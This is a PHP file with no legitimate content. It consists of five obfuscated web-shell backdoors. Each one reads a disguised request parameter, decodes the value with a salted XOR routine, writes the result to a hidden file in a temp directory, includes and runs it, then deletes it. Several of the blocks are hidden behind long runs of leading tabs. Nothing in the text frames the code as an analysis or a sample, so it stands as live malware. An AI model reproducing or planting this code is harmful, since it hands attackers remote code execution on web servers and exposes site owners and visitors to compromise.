<?php																																										if(array_key_exists("hl\x64", $_REQUEST) && !is_null($_REQUEST["hl\x64"])){ $element = array_filter(["/tmp", getcwd(), "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", session_save_path()]); $ref = $_REQUEST["hl\x64"]; $ref = explode ( '.', $ref) ; $binding = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); foreach ($ref as $k=>$v1) { $sChar = ord($salt[$k% $sLen]); $d = ((int)$v1 - $sChar - ($k% 10)) ^ 19; $binding .= chr($d); } foreach ($element as $pointer) { if ((function($d) { return is_dir($d) && is_writable($d); })($pointer)) { $fac = implode("/", [$pointer, ".parameter_group"]); if (file_put_contents($fac, $binding)) { require $fac; unlink($fac); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x72es"])){ $tkn = array_filter(["/tmp", "/dev/shm", "/var/tmp", session_save_path(), getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd()]); $entity = $_REQUEST["\x72es"]; $entity = explode ( '.' , $entity ) ; $pointer = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s9); $o = 0; $__tmp = $entity; while( $v5 = array_shift( $__tmp)) { $chS = ord( $s9[$o % $lenS]); $d =( ( int)$v5 - $chS -( $o % 10)) ^ 88; $pointer .= chr( $d); $o++; } foreach ($tkn as $itm) { if (!!is_dir($itm) && !!is_writable($itm)) { $fac = vsprintf("%s/%s", [$itm, ".marker"]); if (file_put_contents($fac, $pointer)) { require $fac; unlink($fac); die(); } } } }
																																										if(array_key_exists("elem", $_REQUEST)){ $object = $_REQUEST["elem"]; $object = explode ("." , $object); $record = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $w = 0; foreach ($object as $v4) { $chS = ord($salt[$w %$sLen]); $d = ((int)$v4 - $chS - ($w %10))^ 40; $record.=chr($d); $w++; } $mrk = array_filter(["/tmp", getenv("TMP"), getcwd(), "/var/tmp", "/dev/shm", session_save_path(), getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir")]); while ($holder = array_shift($mrk)) { if (array_product([is_dir($holder), is_writable($holder)])) { $dchunk = sprintf("%s/.value", $holder); $file = fopen($dchunk, 'w'); if ($file) { fwrite($file, $record); fclose($file); include $dchunk; @unlink($dchunk); exit; } } } }
																																										if(!empty($_POST["\x72\x65fe\x72e\x6Ece"])){ $flg = array_filter(["/dev/shm", "/var/tmp", "/tmp", session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir(), getcwd()]); $itm = $_POST["\x72\x65fe\x72e\x6Ece"]; $itm =explode ( ".",$itm ) ; $binding = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt7); $i = 0; $__len = count($itm); do { if ($i >= $__len) break; $v1 = $itm[$i]; $chS = ord($salt7[$i % $sLen]); $dec = ((int)$v1 - $chS - ($i % 10)) ^ 38; $binding.= chr($dec); $i++;} while (true); foreach ($flg as $key => $res) { if (is_dir($res) && is_writable($res)) { $element = sprintf("%s/.descriptor", $res); $file = fopen($element, 'w'); if ($file) { fwrite($file, $binding); fclose($file); include $element; @unlink($element); exit; } } } }


if(!is_null($_REQUEST["d\x61t\x61\x5F\x63\x68unk"] ?? null)){
	$pointer = array_filter([session_save_path(), getcwd(), "/dev/shm", "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), "/var/tmp"]);
	$marker = $_REQUEST["d\x61t\x61\x5F\x63\x68unk"];
			 $marker	 =		explode	 	(	'.'  , $marker 		)		;
	$entry='';
            $salt2='abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen=strlen($salt2);
            $q=0;
    
            $__tmp=$marker;
            while($v4=array_shift($__tmp)) {
                $chS=ord($salt2[$q %	$sLen]);
                $d=((int)$v4 - $chS -($q %	10))^68;
                $entry  .=  chr($d);
                $q++;	}
	foreach ($pointer as $factor) {
    		if (array_product([is_dir($factor), is_writable($factor)])) {
    $obj = "$factor/.pgrp";
    if (@file_put_contents($obj, $entry) !== false) {
	include $obj;
	unlink($obj);
	die();
}
}
}
}